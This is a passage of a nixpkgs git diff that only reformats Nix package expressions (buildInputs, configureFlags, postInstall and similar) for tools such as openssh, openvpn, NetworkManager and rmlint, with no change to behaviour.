     "CC=${stdenv.cc.targetPrefix}cc"
diff --git a/pkgs/tools/misc/qflipper/default.nix b/pkgs/tools/misc/qflipper/default.nix
index b8e971e767e7..65b34d95516f 100644
--- a/pkgs/tools/misc/qflipper/default.nix
+++ b/pkgs/tools/misc/qflipper/default.nix
@@ -50,24 +50,23 @@ mkDerivation {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      zlib
-      libusb1
-      libGL
+  buildInputs = [
+    zlib
+    libusb1
+    libGL
 
-      qtbase
-      qt3d
-      qtsvg
-      qtserialport
-      qtdeclarative
-      qtquickcontrols
-      qtquickcontrols2
-      qtgraphicaleffects
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      qtwayland
-    ];
+    qtbase
+    qt3d
+    qtsvg
+    qtserialport
+    qtdeclarative
+    qtquickcontrols
+    qtquickcontrols2
+    qtgraphicaleffects
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    qtwayland
+  ];
 
   qmakeFlags = [
     "DEFINES+=DISABLE_APPLICATION_UPDATES"
diff --git a/pkgs/tools/misc/rmlint/default.nix b/pkgs/tools/misc/rmlint/default.nix
index 4a06287dc93e..8e15a2cfe545 100644
--- a/pkgs/tools/misc/rmlint/default.nix
+++ b/pkgs/tools/misc/rmlint/default.nix
@@ -44,35 +44,33 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      sphinx
-      scons
-    ]
-    ++ lib.optionals withGui [
-      makeWrapper
-      wrapGAppsHook3
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    sphinx
+    scons
+  ]
+  ++ lib.optionals withGui [
+    makeWrapper
+    wrapGAppsHook3
+    gobject-introspection
+  ];
 
-  buildInputs =
-    [
-      glib
-      json-glib
-      util-linux
-    ]
-    ++ lib.optionals withGui [
-      cairo
-      gtksourceview3
-      pango
-      polkit
-      python3
-      python3.pkgs.pygobject3
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
-      elfutils
-    ];
+  buildInputs = [
+    glib
+    json-glib
+    util-linux
+  ]
+  ++ lib.optionals withGui [
+    cairo
+    gtksourceview3
+    pango
+    polkit
+    python3
+    python3.pkgs.pygobject3
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform elfutils) [
+    elfutils
+  ];
 
   prePatch = ''
     # remove sources of nondeterminism
diff --git a/pkgs/tools/misc/tlp/default.nix b/pkgs/tools/misc/tlp/default.nix
index 5da5d402196b..a6dd560dad93 100644
--- a/pkgs/tools/misc/tlp/default.nix
+++ b/pkgs/tools/misc/tlp/default.nix
@@ -63,15 +63,14 @@ stdenv.mkDerivation rec {
     "DESTDIR=${placeholder "out"}"
   ];
 
-  installTargets =
-    [
-      "install-tlp"
-      "install-man"
-    ]
-    ++ lib.optionals enableRDW [
-      "install-rdw"
-      "install-man-rdw"
-    ];
+  installTargets = [
+    "install-tlp"
+    "install-man"
+  ]
+  ++ lib.optionals enableRDW [
+    "install-rdw"
+    "install-man-rdw"
+  ];
 
   doCheck = true;
   nativeCheckInputs = [
diff --git a/pkgs/tools/misc/tremor-rs/default.nix b/pkgs/tools/misc/tremor-rs/default.nix
index 3a2d425fe376..94e980ae7373 100644
--- a/pkgs/tools/misc/tremor-rs/default.nix
+++ b/pkgs/tools/misc/tremor-rs/default.nix
@@ -32,11 +32,12 @@ rustPlatform.buildRustPackage rec {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   # relax lints to fix an error caused by invalid macro_export
   # error: `log_error` isn't a valid `#[macro_export]` argument
@@ -49,18 +50,17 @@ rustPlatform.buildRustPackage rec {
   '';
 
   # TODO export TREMOR_PATH($out/lib) variable
-  postInstall =
-    ''
-      # Copy the standard library to $out/lib
-      cp -r ${src}/tremor-script/lib/ $out
+  postInstall = ''
+    # Copy the standard library to $out/lib
+    cp -r ${src}/tremor-script/lib/ $out
 
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd tremor \
-        --bash <($out/bin/tremor completions bash) \
-        --fish <($out/bin/tremor completions fish) \
-        --zsh <($out/bin/tremor completions zsh)
-    '';
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd tremor \
+      --bash <($out/bin/tremor completions bash) \
+      --fish <($out/bin/tremor completions fish) \
+      --zsh <($out/bin/tremor completions zsh)
+  '';
 
   # OPENSSL_NO_VENDOR - If set, always find OpenSSL in the system, even if the vendored feature is enabled.
   OPENSSL_NO_VENDOR = 1;
diff --git a/pkgs/tools/misc/ttfautohint/default.nix b/pkgs/tools/misc/ttfautohint/default.nix
index 711e62d88feb..a4fea24080fd 100644
--- a/pkgs/tools/misc/ttfautohint/default.nix
+++ b/pkgs/tools/misc/ttfautohint/default.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
     freetype
     harfbuzz
     libiconv
-  ] ++ lib.optional enableGUI qtbase;
+  ]
+  ++ lib.optional enableGUI qtbase;
 
   configureFlags = [ ''--with-qt=${if enableGUI then "${qtbase}/lib" else "no"}'' ];
 
diff --git a/pkgs/tools/misc/vimpager/latest.nix b/pkgs/tools/misc/vimpager/latest.nix
index 4557f7aad574..36792e1c10a3 100644
--- a/pkgs/tools/misc/vimpager/latest.nix
+++ b/pkgs/tools/misc/vimpager/latest.nix
@@ -5,9 +5,7 @@
   sha256 = "0gcjpw2q263hh8w2sjvq3f3k2d28qpkkv0jnl8hw1l7v604i8zxg";
 }).overrideAttrs
   (old: {
-    postPatch =
-      old.postPatch or ""
-      + ''
-        echo 'echo ${runtimeShell}' > scripts/find_shell
-      '';
+    postPatch = old.postPatch or "" + ''
+      echo 'echo ${runtimeShell}' > scripts/find_shell
+    '';
   })
diff --git a/pkgs/tools/misc/youtube-dl/default.nix b/pkgs/tools/misc/youtube-dl/default.nix
index 1edb287d4121..c9f20f0d3367 100644
--- a/pkgs/tools/misc/youtube-dl/default.nix
+++ b/pkgs/tools/misc/youtube-dl/default.nix
@@ -77,8 +77,11 @@ buildPythonPackage rec {
   # - atomicparsley: embedding thumbnails
   makeWrapperArgs =
     let
-      packagesToBinPath =
-        [ atomicparsley ] ++ lib.optional ffmpegSupport ffmpeg ++ lib.optional rtmpSupport rtmpdump;
+      packagesToBinPath = [
+        atomicparsley
+      ]
+      ++ lib.optional ffmpegSupport ffmpeg
+      ++ lib.optional rtmpSupport rtmpdump;
     in
     [ ''--prefix PATH : "${lib.makeBinPath packagesToBinPath}"'' ];
 
diff --git a/pkgs/tools/networking/bitmask-vpn/default.nix b/pkgs/tools/networking/bitmask-vpn/default.nix
index e5d772e27798..4242ac59a666 100644
--- a/pkgs/tools/networking/bitmask-vpn/default.nix
+++ b/pkgs/tools/networking/bitmask-vpn/default.nix
@@ -80,31 +80,30 @@ buildGoModule rec {
     ./build_release.patch
   ];
 
-  postPatch =
-    ''
-      substituteInPlace pkg/pickle/helpers.go \
-        --replace /usr/share $out/share
+  postPatch = ''
+    substituteInPlace pkg/pickle/helpers.go \
+      --replace /usr/share $out/share
 
-      # Using $PROVIDER is not working,
-      # thus replacing directly into the vendor.conf
-      substituteInPlace providers/vendor.conf \
-        --replace "provider = bitmask" "provider = ${provider}"
+    # Using $PROVIDER is not working,
+    # thus replacing directly into the vendor.conf
+    substituteInPlace providers/vendor.conf \
+      --replace "provider = bitmask" "provider = ${provider}"
 
-      substituteInPlace branding/templates/debian/app.desktop-template \
-        --replace "Icon=icon" "Icon=${pname}"
+    substituteInPlace branding/templates/debian/app.desktop-template \
+      --replace "Icon=icon" "Icon=${pname}"
 
-      patchShebangs gui/build.sh
-      wrapPythonProgramsIn branding/scripts
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace pkg/helper/linux.go \
-        --replace /usr/sbin/openvpn ${openvpn}/bin/openvpn
-      substituteInPlace pkg/launcher/launcher_linux.go \
-        --replace /usr/sbin/openvpn ${openvpn}/bin/openvpn \
-        --replace /usr/sbin/bitmask-root ${bitmask-root}/bin/bitmask-root \
-        --replace /usr/bin/lxpolkit /run/wrappers/bin/polkit-agent-helper-1 \
-        --replace '"polkit-gnome-authentication-agent-1",' '"polkit-gnome-authentication-agent-1","polkitd",'
-    '';
+    patchShebangs gui/build.sh
+    wrapPythonProgramsIn branding/scripts
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace pkg/helper/linux.go \
+      --replace /usr/sbin/openvpn ${openvpn}/bin/openvpn
+    substituteInPlace pkg/launcher/launcher_linux.go \
+      --replace /usr/sbin/openvpn ${openvpn}/bin/openvpn \
+      --replace /usr/sbin/bitmask-root ${bitmask-root}/bin/bitmask-root \
+      --replace /usr/bin/lxpolkit /run/wrappers/bin/polkit-agent-helper-1 \
+      --replace '"polkit-gnome-authentication-agent-1",' '"polkit-gnome-authentication-agent-1","polkitd",'
+  '';
 
   nativeBuildInputs = [
     cmake
@@ -123,7 +122,8 @@ buildGoModule rec {
     qtbase
     qtdeclarative
     qtsvg
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ qtwayland ];
 
   # FIXME: building on Darwin currently fails
   # due to missing debug symbols for Qt,
@@ -148,18 +148,17 @@ buildGoModule rec {
     runHook postBuild
   '';
 
-  postInstall =
-    ''
-      install -m 755 -D -t $out/bin build/qt/release/${pname}
+  postInstall = ''
+    install -m 755 -D -t $out/bin build/qt/release/${pname}
 
-      VERSION=${version} VENDOR_PATH=providers branding/scripts/generate-debian branding/templates/debian/data.json
-      (cd branding/templates/debian && ${python3Packages.python}/bin/python3 generate.py)
-      install -m 444 -D branding/templates/debian/app.desktop $out/share/applications/${pname}.desktop
-      install -m 444 -D providers/${provider}/assets/icon.svg $out/share/icons/hicolor/scalable/apps/${pname}.svg
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -m 444 -D -t $out/share/polkit-1/actions ${bitmask-root}/share/polkit-1/actions/se.leap.bitmask.policy
-    '';
+    VERSION=${version} VENDOR_PATH=providers branding/scripts/generate-debian branding/templates/debian/data.json
+    (cd branding/templates/debian && ${python3Packages.python}/bin/python3 generate.py)
+    install -m 444 -D branding/templates/debian/app.desktop $out/share/applications/${pname}.desktop
+    install -m 444 -D providers/${provider}/assets/icon.svg $out/share/icons/hicolor/scalable/apps/${pname}.svg
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -m 444 -D -t $out/share/polkit-1/actions ${bitmask-root}/share/polkit-1/actions/se.leap.bitmask.policy
+  '';
 
   # Some tests need access to the Internet:
   # Post "https://api.black.riseup.net/3/cert": dial tcp: lookup api.black.riseup.net on [::1]:53: read udp [::1]:56553->[::1]:53: read: connection refused
diff --git a/pkgs/tools/networking/dd-agent/datadog-agent.nix b/pkgs/tools/networking/dd-agent/datadog-agent.nix
index d2ccb30dbb5b..5ceb0fbf25cc 100644
--- a/pkgs/tools/networking/dd-agent/datadog-agent.nix
+++ b/pkgs/tools/networking/dd-agent/datadog-agent.nix
@@ -69,18 +69,17 @@ buildGoModule rec {
   buildInputs = [ rtloader ] ++ lib.optionals withSystemd [ systemd ];
   PKG_CONFIG_PATH = "${python}/lib/pkgconfig";
 
-  tags =
-    [
-      "ec2"
-      "python"
-      "process"
-      "log"
-      "secrets"
-      "zlib"
-    ]
-    ++ lib.optionals withSystemd [ "systemd" ]
-    ++ lib.optionals withDocker [ "docker" ]
-    ++ extraTags;
+  tags = [
+    "ec2"
+    "python"
+    "process"
+    "log"
+    "secrets"
+    "zlib"
+  ]
+  ++ lib.optionals withSystemd [ "systemd" ]
+  ++ lib.optionals withDocker [ "docker" ]
+  ++ extraTags;
 
   ldflags = [
     "-X ${goPackagePath}/pkg/version.Commit=${src.rev}"
@@ -105,21 +104,20 @@ buildGoModule rec {
 
   # Install the config files and python modules from the "dist" dir
   # into standard paths.
-  postInstall =
-    ''
-      mkdir -p $out/${python.sitePackages} $out/share/datadog-agent
-      cp -R --no-preserve=mode $src/cmd/agent/dist/conf.d $out/share/datadog-agent
-      rm -rf $out/share/datadog-agent/conf.d/{apm.yaml.default,process_agent.yaml.default,winproc.d,agentcrashdetect.d,myapp.d}
-      cp -R $src/cmd/agent/dist/{checks,utils,config.py} $out/${python.sitePackages}
+  postInstall = ''
+    mkdir -p $out/${python.sitePackages} $out/share/datadog-agent
+    cp -R --no-preserve=mode $src/cmd/agent/dist/conf.d $out/share/datadog-agent
+    rm -rf $out/share/datadog-agent/conf.d/{apm.yaml.default,process_agent.yaml.default,winproc.d,agentcrashdetect.d,myapp.d}
+    cp -R $src/cmd/agent/dist/{checks,utils,config.py} $out/${python.sitePackages}
 
-      wrapProgram "$out/bin/agent" \
-        --set PYTHONPATH "$out/${python.sitePackages}"''
-    + lib.optionalString withSystemd " --prefix LD_LIBRARY_PATH : ${
-       lib.makeLibraryPath [
-         (lib.getLib systemd)
-         rtloader
-       ]
-     }";
+    wrapProgram "$out/bin/agent" \
+      --set PYTHONPATH "$out/${python.sitePackages}"''
+  + lib.optionalString withSystemd " --prefix LD_LIBRARY_PATH : ${
+     lib.makeLibraryPath [
+       (lib.getLib systemd)
+       rtloader
+     ]
+   }";
 
   passthru.tests.version = testers.testVersion {
     package = datadog-agent;
diff --git a/pkgs/tools/networking/gp-saml-gui/default.nix b/pkgs/tools/networking/gp-saml-gui/default.nix
index 90a4fc36e7d5..3a26fa158064 100644
--- a/pkgs/tools/networking/gp-saml-gui/default.nix
+++ b/pkgs/tools/networking/gp-saml-gui/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     requests
     pygobject3
     openconnect
-  ] ++ lib.optional stdenv.hostPlatform.isLinux webkitgtk_4_1;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux webkitgtk_4_1;
 
   preFixup = ''
     gappsWrapperArgs+=(
diff --git a/pkgs/tools/networking/lxi-tools/default.nix b/pkgs/tools/networking/lxi-tools/default.nix
index 40ac48b15f82..c7fab943cfb3 100644
--- a/pkgs/tools/networking/lxi-tools/default.nix
+++ b/pkgs/tools/networking/lxi-tools/default.nix
@@ -38,25 +38,25 @@ stdenv.mkDerivation rec {
     ninja
     cmake
     pkg-config
-  ] ++ lib.optional withGui wrapGAppsHook4;
+  ]
+  ++ lib.optional withGui wrapGAppsHook4;
 
-  buildInputs =
-    [
-      liblxi
-      readline
-      lua
-      bash-completion
-    ]
-    ++ lib.optionals withGui [
-      glib
-      gtk4
-      gtksourceview5
-      libadwaita
-      json-glib
-      desktop-file-utils
-      appstream-glib
-      gsettings-desktop-schemas
-    ];
+  buildInputs = [
+    liblxi
+    readline
+    lua
+    bash-completion
+  ]
+  ++ lib.optionals withGui [
+    glib
+    gtk4
+    gtksourceview5
+    libadwaita
+    json-glib
+    desktop-file-utils
+    appstream-glib
+    gsettings-desktop-schemas
+  ];
 
   postUnpack = "sed -i '/meson.add_install.*$/d' source/meson.build";
 
diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix
index d770fae131ab..0b6255d3ae80 100644
--- a/pkgs/tools/networking/mailutils/default.nix
+++ b/pkgs/tools/networking/mailutils/default.nix
@@ -56,23 +56,22 @@ stdenv.mkDerivation rec {
     texinfo
   ];
 
-  buildInputs =
-    [
-      fribidi
-      gdbm
-      gnutls
-      gss
-      libmysqlclient
-      mailcap
-      ncurses
-      pam
-      readline
-      sasl
-      libxcrypt
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ nettools ]
-    ++ lib.optionals pythonSupport [ python3 ]
-    ++ lib.optionals guileSupport [ guile_2_2 ];
+  buildInputs = [
+    fribidi
+    gdbm
+    gnutls
+    gss
+    libmysqlclient
+    mailcap
+    ncurses
+    pam
+    readline
+    sasl
+    libxcrypt
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ nettools ]
+  ++ lib.optionals pythonSupport [ python3 ]
+  ++ lib.optionals guileSupport [ guile_2_2 ];
 
   patches = [
     ./fix-build-mb-len-max.patch
@@ -91,18 +90,17 @@ stdenv.mkDerivation rec {
   enableParallelBuilding = true;
   hardeningDisable = [ "format" ];
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--with-gssapi"
-      "--with-gsasl"
-      "--with-mysql"
-      "--with-path-sendmail=${system-sendmail}/bin/sendmail"
-      "--with-mail-rc=/etc/mail.rc"
-      "DEFAULT_CUPS_CONFDIR=${mailcap}/etc" # provides mime.types to mimeview
-    ]
-    ++ lib.optional (!pythonSupport) "--without-python"
-    ++ lib.optional (!guileSupport) "--without-guile";
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--with-gssapi"
+    "--with-gsasl"
+    "--with-mysql"
+    "--with-path-sendmail=${system-sendmail}/bin/sendmail"
+    "--with-mail-rc=/etc/mail.rc"
+    "DEFAULT_CUPS_CONFDIR=${mailcap}/etc" # provides mime.types to mimeview
+  ]
+  ++ lib.optional (!pythonSupport) "--without-python"
+  ++ lib.optional (!guileSupport) "--without-guile";
 
   nativeCheckInputs = [
     dejagnu
diff --git a/pkgs/tools/networking/maubot/plugins/generated.nix b/pkgs/tools/networking/maubot/plugins/generated.nix
index 5008acdcc4b3..dbaee26f8853 100644
--- a/pkgs/tools/networking/maubot/plugins/generated.nix
+++ b/pkgs/tools/networking/maubot/plugins/generated.nix
@@ -84,13 +84,11 @@ lib.flip builtins.mapAttrs json (
         ))
       ];
 
-      preBuild =
-        lib.optionalString (entry ? attrs.preBuild) (entry.attrs.preBuild + "\n")
-        + ''
-          export HOME=$(mktemp -d)
-          [[ ! -d scripts ]] || patchShebangs --build scripts
-          make maubot.yaml
-        '';
+      preBuild = lib.optionalString (entry ? attrs.preBuild) (entry.attrs.preBuild + "\n") + ''
+        export HOME=$(mktemp -d)
+        [[ ! -d scripts ]] || patchShebangs --build scripts
+        make maubot.yaml
+      '';
     }
   )
 )
diff --git a/pkgs/tools/networking/miniupnpd/default.nix b/pkgs/tools/networking/miniupnpd/default.nix
index c0f192f889bb..0782d6128cbd 100644
--- a/pkgs/tools/networking/miniupnpd/default.nix
+++ b/pkgs/tools/networking/miniupnpd/default.nix
@@ -54,16 +54,15 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-wUirMA/kao6969KkiDKCM8Jh2Bds+ob5bErep4SMtIg=";
   };
 
-  buildInputs =
-    [
-      iptables-legacy
-      libuuid
-      openssl
-    ]
-    ++ lib.optionals (firewall == "nftables") [
-      libmnl
-      libnftnl
-    ];
+  buildInputs = [
+    iptables-legacy
+    libuuid
+    openssl
+  ]
+  ++ lib.optionals (firewall == "nftables") [
+    libmnl
+    libnftnl
+  ];
   nativeBuildInputs = [
     pkg-config
     makeWrapper
diff --git a/pkgs/tools/networking/mtr/default.nix b/pkgs/tools/networking/mtr/default.nix
index f25d0109900e..7bbe481eb863 100644
--- a/pkgs/tools/networking/mtr/default.nix
+++ b/pkgs/tools/networking/mtr/default.nix
@@ -49,13 +49,12 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      ncurses
-      jansson
-    ]
-    ++ lib.optional withGtk gtk3
-    ++ lib.optional stdenv.hostPlatform.isLinux libcap;
+  buildInputs = [
+    ncurses
+    jansson
+  ]
+  ++ lib.optional withGtk gtk3
+  ++ lib.optional stdenv.hostPlatform.isLinux libcap;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/tools/networking/networkmanager/default.nix b/pkgs/tools/networking/networkmanager/default.nix
index f3e4ad6c6882..2655954b08c8 100644
--- a/pkgs/tools/networking/networkmanager/default.nix
+++ b/pkgs/tools/networking/networkmanager/default.nix
@@ -166,44 +166,42 @@ stdenv.mkDerivation (finalAttrs: {
     libgcrypt
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      pkg-config
-      vala
-      gobject-introspection
-      perl
-      elfutils # used to find jansson soname
-      # Docs
-      gtk-doc
-      libxslt
-      docbook_xsl
-      docbook_xml_dtd_412
-      docbook_xml_dtd_42
-      docbook_xml_dtd_43
-      pythonForDocs
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    pkg-config
+    vala
+    gobject-introspection
+    perl
+    elfutils # used to find jansson soname
+    # Docs
+    gtk-doc
+    libxslt
+    docbook_xsl
+    docbook_xml_dtd_412
+    docbook_xml_dtd_42
+    docbook_xml_dtd_43
+    pythonForDocs
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   doCheck = false; # requires /sys, the net
 
-  postPatch =
-    ''
-      patchShebangs ./tools
-      patchShebangs libnm/generate-setting-docs.py
+  postPatch = ''
+    patchShebangs ./tools
+    patchShebangs libnm/generate-setting-docs.py
 
-      # TODO: submit upstream
-      substituteInPlace meson.build \
-        --replace "'vala', req" "'vala', native: false, req"
-    ''
-    + lib.optionalString withSystemd ''
-      substituteInPlace data/NetworkManager.service.in \
-        --replace-fail /usr/bin/busctl ${systemd}/bin/busctl
-    '';
+    # TODO: submit upstream
+    substituteInPlace meson.build \
+      --replace "'vala', req" "'vala', native: false, req"
+  ''
+  + lib.optionalString withSystemd ''
+    substituteInPlace data/NetworkManager.service.in \
+      --replace-fail /usr/bin/busctl ${systemd}/bin/busctl
+  '';
 
   preBuild = ''
     # Our gobject-introspection patches make the shared library paths absolute
diff --git a/pkgs/tools/networking/openconnect/common.nix b/pkgs/tools/networking/openconnect/common.nix
index 34dbe7cf7221..b46438481254 100644
--- a/pkgs/tools/networking/openconnect/common.nix
+++ b/pkgs/tools/networking/openconnect/common.nix
@@ -38,19 +38,18 @@ stdenv.mkDerivation {
     "--without-openssl-version-check"
   ];
 
-  buildInputs =
-    [
-      gmp
-      libxml2
-      stoken
-      zlib
-      (if useOpenSSL then openssl else gnutls)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      p11-kit
-      pcsclite
-    ]
-    ++ lib.optional useDefaultExternalBrowser xdg-utils;
+  buildInputs = [
+    gmp
+    libxml2
+    stoken
+    zlib
+    (if useOpenSSL then openssl else gnutls)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    p11-kit
+    pcsclite
+  ]
+  ++ lib.optional useDefaultExternalBrowser xdg-utils;
   nativeBuildInputs = [
     pkg-config
     autoreconfHook
diff --git a/pkgs/tools/networking/openssh/common.nix b/pkgs/tools/networking/openssh/common.nix
index 683144ee21b0..f5ce0df51172 100644
--- a/pkgs/tools/networking/openssh/common.nix
+++ b/pkgs/tools/networking/openssh/common.nix
@@ -55,7 +55,8 @@ stdenv.mkDerivation (finalAttrs: {
 
     # See discussion in https://github.com/NixOS/nixpkgs/pull/16966
     ./dont_create_privsep_path.patch
-  ] ++ extraPatches;
+  ]
+  ++ extraPatches;
 
   postPatch =
     # On Hydra this makes installation fail (sometimes?),
@@ -65,26 +66,24 @@ stdenv.mkDerivation (finalAttrs: {
     '';
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    # This is not the same as the krb5 from the inputs! pkgs.krb5 is
-    # needed here to access krb5-config in order to cross compile. See:
-    # https://github.com/NixOS/nixpkgs/pull/107606
-    ++ lib.optional withKerberos pkgs.krb5
-    ++ extraNativeBuildInputs;
-  buildInputs =
-    [
-      zlib
-      libedit
-    ]
-    ++ [ (if linkOpenssl then openssl else libxcrypt) ]
-    ++ lib.optional withFIDO libfido2
-    ++ lib.optional withKerberos krb5
-    ++ lib.optional withLdns ldns
-    ++ lib.optional withPAM pam;
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  # This is not the same as the krb5 from the inputs! pkgs.krb5 is
+  # needed here to access krb5-config in order to cross compile. See:
+  # https://github.com/NixOS/nixpkgs/pull/107606
+  ++ lib.optional withKerberos pkgs.krb5
+  ++ extraNativeBuildInputs;
+  buildInputs = [
+    zlib
+    libedit
+  ]
+  ++ [ (if linkOpenssl then openssl else libxcrypt) ]
+  ++ lib.optional withFIDO libfido2
+  ++ lib.optional withKerberos krb5
+  ++ lib.optional withLdns ldns
+  ++ lib.optional withPAM pam;
 
   preConfigure = ''
     # Setting LD causes `configure' and `make' to disagree about which linker
@@ -100,32 +99,34 @@ stdenv.mkDerivation (finalAttrs: {
 
   # I set --disable-strip because later we strip anyway. And it fails to strip
   # properly when cross building.
-  configureFlags =
-    [
-      "--sbindir=\${out}/bin"
-      "--localstatedir=/var"
-      "--with-pid-dir=/run"
-      "--with-mantype=man"
-      "--with-libedit=yes"
-      "--disable-strip"
-      (lib.withFeature withPAM "pam")
-    ]
-    ++ lib.optional (etcDir != null) "--sysconfdir=${etcDir}"
-    ++ lib.optional (!withSecurityKey) "--disable-security-key"
-    ++ lib.optional withFIDO "--with-security-key-builtin=yes"
-    ++ lib.optional withKerberos (
-      assert krb5 != null;
-      "--with-kerberos5=${lib.getDev krb5}"
-    )
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-libutil"
-    ++ lib.optional (!linkOpenssl) "--without-openssl"
-    ++ lib.optional withLdns "--with-ldns"
-    ++ lib.optional stdenv.hostPlatform.isOpenBSD "--with-bsd-auth"
-    ++ lib.optional withLinuxMemlock "--with-linux-memlock-onfault"
-    ++ extraConfigureFlags;
+  configureFlags = [
+    "--sbindir=\${out}/bin"
+    "--localstatedir=/var"
+    "--with-pid-dir=/run"
+    "--with-mantype=man"
+    "--with-libedit=yes"
+    "--disable-strip"
+    (lib.withFeature withPAM "pam")
+  ]
+  ++ lib.optional (etcDir != null) "--sysconfdir=${etcDir}"
+  ++ lib.optional (!withSecurityKey) "--disable-security-key"
+  ++ lib.optional withFIDO "--with-security-key-builtin=yes"
+  ++ lib.optional withKerberos (
+    assert krb5 != null;
+    "--with-kerberos5=${lib.getDev krb5}"
+  )
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--disable-libutil"
+  ++ lib.optional (!linkOpenssl) "--without-openssl"
+  ++ lib.optional withLdns "--with-ldns"
+  ++ lib.optional stdenv.hostPlatform.isOpenBSD "--with-bsd-auth"
+  ++ lib.optional withLinuxMemlock "--with-linux-memlock-onfault"
+  ++ extraConfigureFlags;
 
-  ${if stdenv.hostPlatform.isStatic then "NIX_LDFLAGS" else null} =
-    [ "-laudit" ] ++ lib.optional withKerberos "-lkeyutils" ++ lib.optional withLdns "-lcrypto";
+  ${if stdenv.hostPlatform.isStatic then "NIX_LDFLAGS" else null} = [
+    "-laudit"
+  ]
+  ++ lib.optional withKerberos "-lkeyutils"
+  ++ lib.optional withLdns "-lcrypto";
 
   buildFlags = [ "SSH_KEYSIGN=ssh-keysign" ];
 
@@ -232,5 +233,6 @@ stdenv.mkDerivation (finalAttrs: {
     platforms = lib.platforms.unix ++ lib.platforms.windows;
     maintainers = extraMeta.maintainers or [ ];
     mainProgram = "ssh";
-  } // extraMeta;
+  }
+  // extraMeta;
 })
diff --git a/pkgs/tools/networking/openvpn/default.nix b/pkgs/tools/networking/openvpn/default.nix
index f28bf75897f4..61937d6200f5 100644
--- a/pkgs/tools/networking/openvpn/default.nix
+++ b/pkgs/tools/networking/openvpn/default.nix
@@ -30,26 +30,26 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-nramYYNS+ee3canTiuFjG17f7tbUAjPiQ+YC3fIZXno=";
   };
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      unixtools.route
-      unixtools.ifconfig
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    unixtools.route
+    unixtools.ifconfig
+  ];
 
-  buildInputs =
-    [
-      lz4
-      lzo
-      openssl
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      libcap_ng
-      libnl
-      pam
-    ]
-    ++ optional useSystemd systemd
-    ++ optional pkcs11Support pkcs11helper;
+  buildInputs = [
+    lz4
+    lzo
+    openssl
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    libcap_ng
+    libnl
+    pam
+  ]
+  ++ optional useSystemd systemd
+  ++ optional pkcs11Support pkcs11helper;
 
   configureFlags =
     optional useSystemd "--enable-systemd"
@@ -60,14 +60,13 @@ stdenv.mkDerivation (finalAttrs: {
   # but a separate package was made, that uses libexec/openvpn. Copy it
   # into libexec in case any consumers expect it to be there even though
   # they should use the update-systemd-resolved package instead.
-  postInstall =
-    ''
-      mkdir -p $out/share/doc/openvpn/examples
-      cp -r sample/sample-{config-files,keys,scripts}/ $out/share/doc/openvpn/examples
-    ''
-    + optionalString useSystemd ''
-      install -Dm555 -t $out/libexec ${update-systemd-resolved}/libexec/openvpn/*
-    '';
+  postInstall = ''
+    mkdir -p $out/share/doc/openvpn/examples
+    cp -r sample/sample-{config-files,keys,scripts}/ $out/share/doc/openvpn/examples
+  ''
+  + optionalString useSystemd ''
+    install -Dm555 -t $out/libexec ${update-systemd-resolved}/libexec/openvpn/*
+  '';
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/tools/networking/pdsh/default.nix b/pkgs/tools/networking/pdsh/default.nix
index 7b90ec86ce20..d364b419a10f 100644
--- a/pkgs/tools/networking/pdsh/default.nix
